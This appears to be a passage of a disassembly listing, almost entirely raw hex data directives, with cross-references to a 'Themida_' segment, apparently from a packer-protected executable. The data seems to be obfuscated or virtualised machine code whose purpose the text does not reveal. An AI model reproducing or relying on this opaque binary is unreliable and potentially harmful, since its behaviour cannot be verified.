		dd 0A8BEB158h, 7EE2AF4Eh, 2539B1E4h, 2196003Dh,	65940D50h
		dd 0AA7BF1C9h, 2177AD27h, 211E1D2Ch, 7E3DF5BDh,	5D94AA1Dh
		dd 659CF14Bh, 210AF193h, 765AF5DBh, 5C7B372Eh, 34A07E5Eh
		dd 0AA1BE054h, 30A80A45h, 4B1BE0F6h, 22F5A46Fh,	11DF5B7h
		dd 0A8443682h, 0A019D1A1h, 3B19D1B2h, 601DF57Bh, 0D86636ECh
		dd 0BEEB997Dh, 10A07E72h, 0AC1BE0A7h, 396F495Eh, 711D9FEBh
		dd 211DF61Eh, 0E245D57Bh, 5597CE5h, 55974DAh, 211DEC6Bh
		dd 0E24DB5B7h, 0F181D72Ah, 0AA7BEF93h, 4BCD0A04h, 22F5A57Bh
		dd 11DF5BDh, 0A8453686h, 0A019D12Bh, 3619D1F3h,	611DF5DBh
		dd 5A1C36BDh, 0A4945A12h, 2708E60Eh, 0E7D242B2h, 3414305Bh
		dd 2177B269h, 211E1DE6h, 783DF5DBh, 6D94AC2Eh, 659CF1D2h
		dd 2107F15Fh, 705CF5BDh, 431A271Dh, 97174D26h, 2040603Eh
		dd 25F5F3CEh, 7C1DF5EDh, 0C8B738CAh, 211DF573h,	8B0251A9h
		dd 4CA720B8h, 0EB96933Fh, 2539B13Ch, 7F4CF550h,	2539B164h
		dd 771D9FAEh, 211DF693h, 0E243D5BDh, 5697C80h, 559746Bh
		dd 211DE3B3h, 0E24BB3DBh, 47AFBD09h, 0DEF2B94Fh, 3435E4CEh
		dd 0B880FCBBh, 0AC1BE0FAh, 396F49EAh, 701D9FB1h, 211DF633h
		dd 0E244D5EDh, 5517CAFh, 559747Fh, 211DEDB9h, 0E24CB4DEh
		dd 35BCB11Ch, 21121CC5h, 8ACAF5DBh, 0C9775CFCh,	0AC41B371h
		dd 850CD9A7h, 4BCD0A87h, 22F5A4DEh, 11DF56Fh, 0A84436EEh
		dd 0A019D197h, 3C19D1A9h, 601DF5F6h, 0B141362Ah, 0A178546Ah
		dd 872D77DEh, 0A87817EFh, 3405D032h, 771D9FDDh,	211DF605h
		dd 0E243D5F6h, 5697C25h, 55974B9h, 211DE1DAh, 0E24BB36Fh
		dd 0F1E20C89h, 0C948F5B1h, 211DF5EEh, 7CDEA8D6h, 253999F2h
		dd 2539B13Ch, 211DF5C4h, 4EDEA02Ah, 0F114C042h,	29F4D5FEh
		dd 751DF5EDh, 11D9C7A9h, 0A8CFE0D3h, 3411B038h,	711D9FD8h
		dd 211DF687h, 0E245D5B7h, 5597C83h, 55974E9h, 211DEEF2h
		dd 0E24DB57Bh, 2AD2FA84h, 0A252E0F1h, 211DF887h
		db 0B7h
byte_5B6219	db 0D1h, 0FDh, 0Dh	; DATA XREF: Themida_:0057AEE8o
		dd 0D5AE828Eh, 30A24AC0h, 7EE57E23h, 21181C1Bh,	0BF54F5BDh
		dd 0A8131082h, 34094CD2h, 0AD7B94B1h, 20887E03h, 51BE0EAh
		dd 701D9FF2h, 211DF693h, 0E244D5BDh, 5517C87h, 559746Bh
		dd 211DE0B3h, 0E24CB4DBh, 2FF48046h, 161DF5F6h,	0F17945B5h
		dd 0DF83EE4Bh, 8CE79870h, 0E1170D88h, 223F71B8h, 0AC2CF5DBh
		dd 2708D300h, 3194487Dh, 0A4DBF36Eh, 2708FC78h,	741D9F91h
		dd 211DF687h, 0E240D5B7h, 5717C86h, 55974E9h, 211DE3F2h
		dd 0E248B07Bh, 0D9BE65D5h, 0BABAC0B6h, 21121CDAh, 8DFEF5B7h
		dd 73046442h, 75D306AFh, 4D3A04EEh, 51974E1h, 28F93032h
		dd 0A2786C64h, 30A80A4Ah, 0A11BE09Fh, 0A490051Ah, 27058751h
		dd 0C94BF59Ch, 211DF578h, 7FDEAB9Dh, 25398157h,	2539B1EEh
		dd 211DF5AEh, 92DEA39Dh, 9F550CBh, 41FE471Dh, 397C68F0h
		dd 9612F3A8h, 0F1E29416h, 0C94FF505h, 211DF5B4h, 7BDEAFFBh
		dd 2539A164h, 2539B177h, 211DF561h, 0AFDEA7FFh,	0B3B76647h
		dd 0AC1C6C33h, 2708DF8Eh, 22393558h, 3433F478h,	8C987CF0h
		dd 4B1BE076h, 22F5A3BDh, 11DF5DEh, 0A8433631h, 0A019D1C3h
		dd 3719D19Fh, 671DF5EDh, 34AF36A0h, 0F4887C8Fh,	0A81BE0B8h
		dd 343F645Bh, 64987E69h, 701BE0BBh, 211E7FD4h, 0AA7BF5EDh
		dd 0BC96AC06h, 2708ED5Eh, 0C94CF5D7h, 211DF5DDh, 78DEAC4Fh
		dd 2539B93Eh, 2539B15Ah, 211DF5F1h, 0EDEA4B7h, 1CC9726Dh
		dd 45E63E98h, 211B72D1h, 0B496F56Fh, 2708F8D6h,	0DA969398h
		dd 0D97DEE66h, 3F94487Fh, 0AA7CF36Eh, 2880C4A6h, 0AA1BE0F9h
		dd 761D9F74h, 211DF65Fh, 0E242D5DBh, 5617CB2h, 55974F2h
		dd 211DE07Fh, 0E24AB2BDh, 12E40355h, 9C160CB7h,	2708DDFAh
		dd 38A86852h, 2177F3F8h, 211E1DA3h, 7C3DF57Bh, 4D94A87Eh
		dd 659CF1FAh, 2107F14Bh, 7458F5B7h, 79552F18h, 0E5C542F1h
		dd 0C8D37E90h, 211DF571h, 0C3B68722h, 1EAB10CAh, 0A4DB111Fh
		dd 2708FC72h, 741D9F9Ch, 211DF605h, 0E240D5F6h,	5717C26h
		dd 55974B9h, 211DECDAh,	0E248B06Fh, 8751D2A6h, 9612FA65h
		dd 156E9D23h, 62A7261Eh, 0A017F9B6h, 0C8C7D189h, 9C9491E8h
		dd 2708ED62h, 90C4048h,	2177F3CEh, 211E1DBDh, 793DF5F6h
		dd 6594ADB8h, 659CF199h, 2106F1FAh, 715DF56Fh, 0E1384574h
		dd 0C5DD6D70h, 0B2AC4A3Fh, 0F89CDAF9h, 7CD793Ch, 53A17030h
		dd 2177F3C6h, 211E1D3Dh, 7B3DF5B7h, 7594AF18h, 659CF1C9h
		dd 2109F1D2h, 735FF57Bh, 0D297987Eh, 21772521h,	211E1D38h
		dd 7E3DF5B7h, 5D94AA18h, 659CF1C9h, 210BF1D2h, 765AF57Bh
		dd 2173357Eh, 35487057h, 2177F37Ah, 211E1DE0h, 7E3DF5DBh
		dd 5D94AA2Eh, 659CF1D2h, 2105F15Fh, 765AF5BDh, 0FE157D1Dh
		dd 4B5D357Bh, 22F5A3B7h, 11DF5DBh, 0A84336B3h, 0A019D182h
		dd 3B19D13Fh, 671DF5BDh, 0FBD83688h, 0F26A002Eh, 0AA1D7E17h
		dd 3400344Eh, 4B1D7EEBh, 22F5A7F6h, 11DF57Bh, 0A84736E7h
		dd 0A019D18Ah, 3C19D12Bh, 631DF5B7h, 0A5B33689h, 0A64623F8h
		dd 0B14CCCB5h, 3CFC70F2h, 2177F3A8h, 211E1D8Dh,	7A3DF56Fh
		dd 7D94AE74h, 659CF1FFh, 2104F1C9h, 725EF5F6h, 7DD39EB8h
		dd 0AA72D148h, 3433144Bh, 21E51C69h, 0A912F5B7h, 211DF5DBh
		dd 9EAE7060h, 0B496F3EEh, 2708C116h, 73848B4h, 984DF3CBh
		dd 71C9BFD0h, 4139F13Eh, 0A8E77EBDh, 341C6458h,	0B4E294F0h
		dd 2708F2AEh, 0C94DF5D7h, 211DF5DDh, 79DEAD4Fh,	2539B13Eh
		dd 2539B15Ah, 211DF5FBh, 79DEA5B6h, 0A0124E53h,	211DF5BBh
		dd 20784057h, 0ACE8F37Ah, 39A24C2Ah, 771D9FDDh,	211DF605h
		dd 0E243D5F6h, 5697C25h, 55974B9h, 211DECDAh, 0E24BB36Fh
		dd 0A4B97FF6h, 0D09D993Ah, 0D896665Ch, 210F1CA6h, 86C3F57Bh
		dd 369A6A9Dh, 0EF6AAFC6h, 0FD01FA9Fh, 0CAFE429Ah, 2594A548h
		dd 761D9FC9h, 211DF61Eh, 0E242D57Bh, 5617CE2h, 55974DAh
		dd 211DE06Bh, 0E24AB2B7h, 0AA4F1C7Dh, 0B4E2AB1Eh, 2708FBEBh
		dd 60793CC5h, 8C987C97h, 4B1BE0D3h, 22F5A56Fh, 11DF5B7h
		dd 0A8453683h, 0A019D1A9h, 3619D1B2h, 611DF57Bh, 0EBD436EDh
		dd 0A4DB818Dh, 2708FCAAh, 721D9FE4h, 211DF633h,	0E246D5EDh
		dd 5417CADh, 559747Fh, 211DEEB9h, 0E24EB6DEh, 1BA9D620h
		dd 5760094Fh, 4D314ABDh, 0AA752466h, 70922340h,	7BE67E1Dh
		dd 0D539C13Ch, 4B38A4ECh, 22F5A26Fh, 11DF5B7h, 0A8423684h
		dd 0A019D191h, 3819D1B2h, 661DF57Bh, 31CA36EAh,	95759FF7h
		dd 21187F60h, 86A2F5B7h, 0DE2BF8B0h, 3435E458h,	731D9FF0h
		dd 211DF693h, 0E247D5BDh, 5497C84h, 559746Bh, 211DE9B3h
		dd 0E24FB7DBh, 8CE9C620h, 13B65707h, 2797FA43h,	0AA1DF5BDh
		dd 3418A053h, 4887E69h,	221BE0AAh, 340D8466h, 9D9878EBh
		dd 4B1BED84h, 22F5A57Bh, 11DF5BDh, 0A8453686h, 0A019D12Bh
		dd 3B19D1F3h, 611DF5DBh, 0D0C136BDh, 0F38CC535h, 8907C83h
		dd 0DE1BE0B9h, 741D9F0Eh, 211DF687h, 0E240D5B7h, 5717C86h
		dd 55974E9h, 211DEDF2h,	0E248B07Bh, 0D181B7F8h,	6C987CD3h
		dd 4B1BE072h, 22F5A4B7h, 11DF5DBh, 0A84436B4h, 0A019D1BAh
		dd 3819D13Fh, 601DF5BDh, 250F368Fh, 200FC3A0h, 3468783Eh
		dd 0F196F3CEh, 28D8702Bh, 9B5AF3E3h, 6A2E50D4h,	211DF155h
		dd 530865DEh, 0C1E74FCEh, 0C84DED4Fh, 211DF5D3h, 8B27EBF0h
		dd 0F9FCCC45h, 2539B1F0h, 210D1CDDh, 4E5DF5DEh,	993D5F66h
		dd 3FC3D79Ch, 1E25C36Eh, 0F2A5D92Fh, 40670C96h,	0AA7DF5F0h
		dd 0DCA4937Bh, 6594944Ah, 0EF96F14Bh, 54A0FEEFh, 0DE1BE0CBh
		dd 3435E458h, 210E1CF0h, 2AAFF57Bh, 0B63F0FDDh,	7F8F7984h
		dd 0ED6BBCD7h, 0E9370326h, 2394FA00h, 971DF5EDh, 9D987861h
		dd 4B1BED09h, 22F5A2BDh, 11DF5DEh, 0A8423630h, 0A019D1CBh
		dd 3919D19Fh, 661DF5EDh, 0CD7E36A1h, 0C95974FBh, 211DF5ACh
		dd 50EAB9D8h, 5812E655h, 0C7CCA0E9h, 57AA6FEBh,	0A8A8DEDFh
		dd 7F1BE0F0h, 21772584h, 211E1DEFh, 7B3DF5DEh, 7594AFACh
		dd 659CF193h, 2105F1FFh, 735FF5EDh, 94E75035h, 0AC349911h
		dd 2708DD30h, 211DFF36h, 6D22976Fh, 0BC1E07E9h,	2EE842F4h
		dd 211DF966h, 211A1CF6h, 4E6CF57Bh, 0B3EE934Dh,	0C997AAB5h
		dd 27BC70E6h, 2177F3A2h, 211E1D8Dh, 7F3DF5EDh, 5594AB35h
		dd 659CF15Fh, 2106F199h, 775BF5DEh, 0AFC327ACh,	0EA3254F6h
		dd 0AC987C5Eh, 0E71BE0E9h, 34143073h, 2177A67Dh, 211E1DEDh
		dd 793DF5DEh, 6594ADACh, 659CF193h, 2109F1FFh, 715DF5EDh
		dd 0AD12A535h, 211DF571h, 211DF054h, 206BC1DEh,	0BC344F3Fh
		dd 2708E892h, 211DF133h, 184265EDh, 79A7936Fh, 734DA52Dh
		dd 7E6947EBh, 33F4C4D1h, 911DF56Fh, 102208AAh, 0ADB2A31h
		dd 0DB64C6CDh, 8560BFE7h, 0AA45AF5Dh, 0C919D1F9h, 211DF5CCh
		dd 0A2267BD7h, 8657D612h, 6C21EFB7h, 0FB89F2C9h, 0AA476FECh
		dd 5597C7Bh, 734D95B9h,	8AAE4D60h, 472CFA42h, 7BC0170Fh
		dd 40C77E83h, 771D9FB5h, 211DF61Eh, 0E243D57Bh,	5697CE3h
		dd 55974DAh, 211DEC6Bh,	0E24BB3B7h, 4A7BEDC8h, 0CFA7C944h
		dd 9478B5BCh, 30A80A42h, 4B1BE095h, 22F5A3DEh, 11DF56Fh
		dd 0A84336E9h, 0A019D1AFh, 3D19D1A9h, 671DF5F6h, 0A8B9362Dh
		dd 394571AEh, 0A88DD2ABh, 34378CE2h, 9D9878B1h,	471BEDA9h
		dd 0DEE18F57h, 731D9F26h, 211DF693h, 0E247D5BDh, 5497C84h
		dd 559746Bh, 211DE3B3h
		dd 0E24FB7DBh, 0AAB81EF9h, 341DA87Bh, 60987C7Dh, 9B1BE095h
		dd 5C66EBCCh, 23D470E6h, 0AA7BF3A2h, 0E4983328h, 761BE0E4h
		dd 7BE8A3A5h, 21161D25h, 7EC1F5BDh, 0EF999C14h,	0D5EA0C88h
		dd 4B75AFA6h, 47CD3763h, 0A017A653h, 0CB71D1C2h, 0DD4DB5BDh
		dd 54A87EE3h, 0DE1BE0F1h, 3435E4DAh, 2797FAB1h,	0A01DF5DBh
		dd 0FFC5882Ah, 0D4907CFFh, 0AC1BE07Ch, 396F4938h, 4BCD0AD8h
		dd 22F5A76Fh, 11DF5B7h,	0A8473681h, 0A019D1B9h,	3419D1B2h
		dd 631DF57Bh, 2E8B36EFh, 0A8CC4AD1h, 341548EAh,	0E49833B1h
		dd 621BE0D2h, 0C94AF587h, 211DF5F5h, 7EDEAA5Bh,	25398934h
		dd 2539B15Fh, 211DF57Ah, 50DEA2F0h, 4C90DC59h, 0C91BE0D9h
		dd 211DF5F2h, 9D8D8553h, 1A994BDBh, 3797FA8Eh, 411DF56Fh
		dd 211DFD5Fh, 320435DBh, 60F521F9h, 0A312AB8Dh,	211DF57Bh
		dd 5597EDCh, 0D89693DAh, 0D696F5E4h, 2539B13Eh,	211DFF33h
		dd 9BFB9EEDh, 3D22C7E6h, 4750A457h, 78603407h, 761D9F86h
		dd 211DF687h, 0E242D5B7h, 5617C84h, 55974E9h, 211DECF2h
		dd 0E24AB27Bh, 935E9F4Fh, 0AE1257B0h, 211DF569h, 3078603Ch
		dd 94E2F3CEh, 2708DDFCh, 0C94EF59Ch, 211DF578h,	7ADEAE9Dh
		dd 2539A957h, 2539B1EEh, 211DF5AAh, 3EDEA698h, 0ACFCC18Ch
		dd 5EE526F9h, 0E090DC40h, 0AC1BE091h, 396F495Bh, 711D9F69h
		dd 211DF65Fh, 0E245D5DBh, 5597CB5h, 55974F2h, 211DE17Fh
		dd 0E24DB5BDh, 0D0A87EA0h, 0DE1BE072h, 0F3AAFA67h, 2AB46052h
		dd 0A494F3F8h, 2708C66Bh, 0C94AF511h, 211DF5BEh, 7EDEAAFEh
		dd 253989E6h, 2539B136h, 211DF5CEh, 60DEA2AAh, 60887E68h
		dd 471BE05Ch, 0AC199803h, 39A25C5Bh, 731D9F69h,	211DF65Fh
		dd 0E247D5DBh, 5497CB7h, 55974F2h, 211DE97Fh, 0E24FB7BDh
		dd 0C868A7F4h, 565E30A0h, 0B6DA74F6h, 0B1170DC5h, 9B7BA7BDh
		dd 10122532h, 0B5103EC1h, 7145AFB3h, 731D9F4Eh,	211DF687h
		dd 0E247D5B7h, 5497C81h, 55974E9h, 211DEDF2h, 0E24FB77Bh
		dd 85CDF793h, 0F4880A15h, 471BE068h, 97801C36h,	0AA7B2D50h
		dd 0BC987817h, 4B1BED49h, 22F5A07Bh, 11DF5BDh, 0A8403683h
		dd 0A019D103h, 3A19D1F3h, 641DF5DBh, 0F65736B8h, 0D0B463ADh
		dd 474D171Dh, 25940636h, 711D9FFAh, 211DF687h, 0E245D5B7h
		dd 5597C83h, 55974E9h, 211DE8F2h, 0E24DB57Bh, 0E566D40Ah
		dd 0A3BC1F45h, 0D69CCE28h, 68483545h, 211DE432h, 0CCD6C2EDh
		dd 675B5470h, 0E675E696h, 0C174BB12h, 984D58E5h, 70EB0C2Fh
		dd 4139E93Eh, 64C374BDh, 0A490FC28h, 401BE0EBh,	2F006084h
		dd 2177F3A8h, 211E1D89h, 7E3DF56Fh, 5D94AA74h, 659CF1FFh
		dd 2104F1C9h, 765AF5F6h, 67DAACB8h, 0AA446121h,	80987C29h
		dd 471BE077h, 0E6969208h, 3415585Eh, 211DFAEBh,	771D9FF6h
		dd 211DF693h, 0E243D5BDh, 5697C80h, 559746Bh, 211DE1B3h
		dd 0E24BB3DBh, 0DEE67EE6h, 34055463h, 0A07C7Dh,	0A81BE0B7h
		dd 343A705Bh, 58907C69h, 0AA1BE09Eh, 3437045Eh,	578078EBh
		dd 0A81BED25h, 9C90F438h, 2708E440h, 0F24D4053h, 12A4F377h
		dd 0D21DF5B7h, 992E1E7Fh, 211DF5EDh, 226935FDh,	0AA1DEDB9h
		dd 7211D1F9h, 211DF536h, 0E29CAE6Fh, 211DF5A0h,	3139A952h
		dd 3539B164h, 0DB2A4DADh, 0C1E2F5BBh, 2539B136h, 21771521h
		dd 211E1D38h, 7E3DF5B7h, 5D94AA18h, 659CF1C9h, 2101F1D2h
		dd 765AF57Bh, 294DEA7Eh, 0B5ECF2E9h, 2177A673h,	211E1DE4h
		dd 7A3DF5DBh, 7D94AE2Eh, 659CF1D2h, 2106F15Fh, 725EF5BDh
		dd 57FE211Dh, 0A9514499h, 30887E95h, 401BE0D3h,	227478DCh
		dd 9C90F3E3h, 27054AE6h, 0F2EE7830h, 14A5F3C6h,	1285D3C4h
		dd 3409D832h, 0E0D2DEDDh, 0B4E19695h, 0CE2C1040h, 189C9EF3h
		dd 0F62708FDh, 0C6A21480h, 0BB341E58h, 0E98369F5h, 8BA4F305h
		dd 51006AD9h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 9CC0A080h, 9BCA810Eh, 0B53195A0h, 6151D11h
		dd 76E9h, 0AE900h, 0C6F60000h, 2BBB374Ch, 7CBB0A47h, 1860Fh
		dd 61FC0000h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	0AAC35242h, 0B05E9A11h,	60F8E4D4h, 68D0Fh, 890F0000h
		dd 0
		dd 6AC361h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0CE987C3h, 6000000h, 1B0F4575h, 63FA0301h
		dd 8BD03E0Eh, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 2891C685h, 0CE9F560h, 0B8000000h
		dd 37556C58h, 8581234Ah, 61C691BCh, 8F5BD83h, 75000615h
		dd 0ADBD8309h, 61503h, 53501974h, 0B9B8C08Bh, 89000004h
		dd 1502A185h, 59D8D06h,	0FF0617ABh, 83585BD3h, 1503ADBDh
		dd 17740006h, 0B9B85350h, 89000004h, 1502A185h,	0A69D8D06h
		dd 0FF0617A7h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0D640C352h,	2F53D318h
		dd 6A2FFD8Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0A560C352h, 0CE922h, 827B0000h
		dd 0CE7F25A9h, 0FC178BE8h, 0C08BBF12h, 158A0Fh,	10E90000h
		dd 8D000000h, 51D9A591h, 1BCA01B0h, 0B498EF72h,	0FAC0999h
		dd 689h, 0BA666000h, 40613729h,	5160C18Bh, 60585950h, 22918D89h
		dd 0FE80615h, 31000000h, 0B36461EFh, 56630233h,	3CCA78FAh
		dd 6158E29Dh, 919D8961h, 0EB061530h, 4,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 92707DFEh, 92347CFAh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 17h, 0A7C35242h, 660DFDCBh, 668E85BEh, 858DFA8Bh
		dd 615279Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	17C35545h, 621C75h, 0CB344314h,	50F28B66h, 0FE96052h
		dd 0F6000000h, 0F96E6BADh, 0EBBC7758h, 292BF56Dh, 9E99CA3h
		dd 52000000h, 0B7E0957Fh, 3D9EF83Ch, 4895F61h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0E860D041h, 9, 934D45C3h, 0B0A0D01Eh, 895EF526h, 1502718Dh
		dd 0BD8B6106h, 6150225h, 6AF8006Ah, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0FE0A7005h
		dd 0B998DA62h, 59952939h, 8B061527h, 152DDDBDh,	2F858D06h
		dd 290618D8h, 150255B5h, 5C08306h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0A3C35545h,	0A5382C95h, 151110Ah
		dd 150AA995h, 0E9505E06h, 6, 0D2B097Eh,	4896F10h, 65B58B24h
		dd 6A061517h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 9E4A08ADh, 6AF0BF0Fh, 52006A00h
dword_5B719C	dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
					; DATA XREF: Themida_:0057C558o
					; Themida_:0057CA2Co
		dd 5E99Bh, 35AD0000h, 890D0031h, 152FA19Dh, 7995FF06h
		dd 66061526h, 0E10CC781h, 9C159D8Dh, 6E90618h, 9F000000h
		dd 434371DEh, 6AD3FF15h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 889FC355h, 0FE256E1Fh
		dd 0F3C6F7EBh, 13E9h, 5999A400h, 0BEE58CA3h, 17698F4Ch
		dd 1F16B7BAh, 22A18A2Ch, 211BD8Bh, 85FF0615h, 6151535h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 47C35545h
		dd 0E9803EBEh, 0Eh, 0B471A916h,	0F0AAF980h, 0DCBD436Bh
		dd 0AAE961FCh, 0E8000007h, 0
		dd 39ED815Dh, 6A0618D8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0DC0CC357h,	0FCB08FBDh
		dd 8ADBD81h, 7D00615h, 860F0000h, 13Ah,	3F1BD03h, 9D8B0615h
		dd 6152871h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	6FC35242h, 0E381A2h, 6A000001h,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 201DC352h
		dd 0AE793F75h, 0DB0BF2B6h, 96850Fh, 8D890000h, 6152F81h
		dd 0D5E2BD83h, 0F000618h, 1F84h, 0F6BF0F00h, 0AEE9h, 0CE96000h
		dd 1000000h, 70463397h,	0A7BE8EC5h, 66CD1DC0h, 616102BEh
		dd 0D5E285C7h, 10618h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 7E837C3h, 1C000000h
		dd 61541D51h, 5FF53F63h, 5EE9h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 5D28EAF0h
		dd 5E927DEh, 0C2000000h, 0D831FDE7h, 0D5E285C7h, 618h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0A0CEA7C3h, 9589FD0Eh, 6150CC5h, 8DF18B66h
		dd 1528719Dh, 0D1DABE06h, 23817F5Eh, 0FFFFFEFFh, 33C5BD8Bh
		dd 8C660615h, 51006ADBh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 5D5C7659h, 0F4FE446Ah, 0E1B58B8Eh
		dd 0F6061501h, 840F04C3h, 58h, 95FFF18Bh, 61518A1h, 6919D29h
		dd 0E8900615h, 10h, 419464A4h, 0CB95C06Fh, 0ECF67B0Bh
		dd 38971045h, 3AD5BE66h, 6050505Eh, 595729B1h, 6A905E61h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 42F2C355h, 8D898C53h, 6152D91h, 496E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 36197D71h, 8B22C6F4h, 151051BDh, 0DF816606h,	0B01B64h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5CC35040h
		dd 9E99483h, 52000000h,	0B8B7C3Fh, 67489FBBh, 13E9h, 78061000h
		dd 0A41EBF46h, 0D268BC9h, 0B13ED15Dh, 184FA404h, 6A70E6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 64B6C8C3h, 335E2F8Eh, 0DDB5895Fh, 0E4061526h, 57006A71h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 75BD0992h, 8B061524h, 152E4DB5h, 0D8B60F06h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BC35040h, 2AF58D01h
		dd 6BA0615h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0CDD3C352h,	0A1858972h
		dd 0F06150Ah, 685h, 6DB58B00h, 8B061529h, 53006AC3h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0B6D78198h, 0C1210240h, 11E904E8h, 0AA000000h, 0F83E6605h
		dd 0C20D1D80h, 0B07645E2h, 581A33Ch, 66E2F766h,	0B87FF681h
		dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 840794C3h, 6650F5DCh, 1C89FA8Bh, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0ADB5FFEBh, 6A061508h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FF8AC351h,	152E2195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 15117FEEh, 691BD8Bh, 0BD8B0615h,	6150C5Dh
		dd 70E600B0h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0FAC35646h, 9E9699Ah, 5D000000h, 0C03512C2h, 0E672F01Bh
		dd 1545B58Bh, 71E40615h, 9850Fh, 800F0000h, 3, 3CF38B66h
		dd 48830F61h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 4363C355h, 0BD71D075h
		dd 0DE9h, 0A8E50E00h, 51C459F0h, 0D71F07F5h, 0B60FE656h
		dd 0F6BF0FD8h, 0CBEE8166h, 6BA41h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 514899C3h
		dd 0C4436431h, 66C38B23h, 0E8C1F88Bh, 0D0BFBE04h, 0F7664BACh
		dd 15BD89E2h, 2B061505h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 9E51DF6Bh, 0BF7F7AD4h
		dd 63D70268h, 899BD8Bh,	8B580615h, 1514D9BDh, 35858906h
		dd 2B061524h, 88880FD8h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7294C355h
		dd 0C2063A82h, 79DE17EDh, 0D3D7E681h, 7B9273Dh,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 9048C350h, 72581C3h, 68B0F4Fh, 8B000000h
		dd 150BA1BDh, 0C18306h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 9AC35343h, 0C66F1704h, 2B5348BBh, 15078DB5h
		dd 0FD93B06h, 0F686h, 0BD0B5000h, 6152119h, 0D1BD8B5Fh
		dd 66061507h, 0C1F6D98Ch, 0B1840F04h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0D51BC355h, 0B824F01Dh, 18A195FFh, 6A0615h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0C00A6AC3h, 0E9BFC366h, 6, 0EA6BC9C4h, 6A5B0491h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0A953C356h, 0DB5CF494h, 72AF3B2Ah, 0BD8BC32Bh, 61517F9h
		dd 8343Dh, 25860F00h, 0F000000h, 585h, 7A40BF00h, 40E93479h
		dd 66000000h, 0E1FBDE81h, 0BE9h, 8A2C1F00h, 6EAC22A1h
		dd 905287B4h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B9852C3h, 150A79BDh, 6D9D8906h
		dd 8B06151Eh, 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 5EE3C352h, 2E53E41Fh
		dd 9EBF6639h, 9D85C738h, 77061507h, 6A750BC3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 9BF7C357h, 0FD0041DFh, 8BD84F64h, 1533FDBDh,	0E9C08B06h
		dd 6, 93297BF4h, 0BD81A47Ah, 61508ADh, 7D0h, 32850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 8AC945C3h, 0A7CC8CBCh, 0A5B5898Eh, 0FF061526h, 1508AD85h
